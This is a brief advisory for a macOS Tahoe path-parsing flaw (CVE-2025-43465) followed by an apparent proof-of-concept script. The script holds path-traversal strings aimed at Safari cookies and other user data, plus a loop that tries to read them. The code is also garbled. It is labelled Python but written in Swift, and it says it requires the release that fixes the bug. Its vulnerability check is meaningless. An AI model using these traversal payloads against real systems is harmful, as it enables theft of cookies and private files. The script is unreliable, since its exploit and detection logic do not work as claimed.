A parsing issue in the handling of directory paths was addressed with improved path validation. This issue is fixed in macOS Tahoe 26.1. An app may be able to access sensitive user data.
The following code is for security research and authorized testing only.
python
# CVE-2025-43465 Path Traversal PoC (Conceptual)
# This is a conceptual PoC demonstrating the path traversal vulnerability
# Requires: Local access to macOS Tahoe 26.1 with low-privilege app
import Foundation
// Attempt to access sensitive data via path traversal
func exploitPathTraversal() {
let sensitivePaths = [
"../../../../../../Users/Shared/sensitive_data.json",
"../../../Library/Application Support/com.apple.Safari/Cookies",
"../../../../private/var/tmp/sensitive_file"
]
for maliciousPath in sensitivePaths {
// Attempt to read file using vulnerable path parsing
let fileManager = FileManager.default
if let data = try? Data(contentsOf: URL(fileURLWithPath: maliciousPath)) {
print("Successfully accessed: \(maliciousPath)")
print("Data length: \(data.count) bytes")
// Process sensitive data here
}
}
}
// Normalize path to check if vulnerable
func checkPathVulnerability(path: String) -> Bool {
let normalizedPath = (path as NSString).standardizingPath
let expandedPath = (path as NSString).expandingTildeInPath
// Vulnerability exists if path contains .. and isn't properly validated
return path.contains("..") && normalizedPath != expandedPath
}
// Note: This PoC is for educational purposes only
// Actual exploitation requires specific vulnerable code paths in macOS